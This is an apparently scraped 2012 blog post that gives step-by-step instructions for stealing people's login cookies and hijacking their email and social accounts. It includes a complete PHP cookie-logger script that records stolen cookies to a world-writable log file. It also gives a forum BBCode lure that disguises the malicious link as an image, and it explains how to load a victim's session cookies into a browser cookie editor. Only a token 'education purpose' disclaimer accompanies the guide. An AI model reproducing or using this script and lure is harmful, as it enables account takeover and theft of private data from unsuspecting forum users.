RssA1: KrackoWorld

joi, 26 aprilie 2012

KrackoWorld

How to Hack Email Account with Cookie stealing

Posted: 25 Apr 2012 12:54 PM PDT

Hi friends,This is my fourth blog post for krackoworld.com.Today i teach you how you can hack any one's password or pc just with this article.Read the article carefully and enjoy free hacking.Please note that this is only for education purpose only

Cookies stores all the necessary Information about one's account , using this information you can hack anybody's account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut,Facebook, Flickr etc.

What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody's Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Step 1

First you have to create a file which can capture a person's cookie.So follow the following process.download script

Step 2

Now you have to change http://www.yoursite.com to your your site,Remember one thing you should not upload the files into a directory.Now open notepad and paste the script in it and save it as fun.gif

Step 3

Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

Add Your Text Here

$filename = "logfile.txt";

if (isset($_GET["cookie"]))

{

if (!$handle = fopen($filename, 'a'))

{

echo "Temporary Server Error,Sorry for the inconvenience.";

exit;

}

else

{

if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)

{

echo "Temporary Server Error,Sorry for the inconvenience.";

exit;

}

}

echo "Temporary Server Error,Sorry for the inconvenience.";

fclose($handle);

exit;

}

echo "Temporary Server Error,Sorry for the inconvenience.";

exit;

?>

Step 4:

Create a new Notepad File and Save it as logfile.txt

Upload this file to your server

Add Your Text Here

cookielogger.php ->
http://www.yoursite.com/cookielogger.php

logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)

fun.gif -> http://www.yoursite.com/fun.gif

If you don't have any Website then you can use the following Website to get a Free Website which has php support :Add Your Text Here

www.ofees.net

www.phishing-site.www

www.badwaresite.www

Step 5:Go to the victim forum and insert this code in the signature or a post :

Code:

[url=[color=red]http://www.yoursite.com[/color]/fun.gif][img][color=red]http://yoursite.com/[/color]fun.jpg[/img][/url]

So the person who click it will think it is fun.jpg but it redirects to fun.gif

Step 6

So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt

step 7

And something like this will be stored in your "logfile.txt"

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;
phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 8

To get the access to the Victim's Account you need to replace your cookies with the Victim's Cookie. You can use a Cookie Editor for this. The string before "=" is the name of the cookie and the string after "=" is its value. So Change the values of the cookies in the cookie Editor.Now for this you will need a firefox addon named add and edit cookies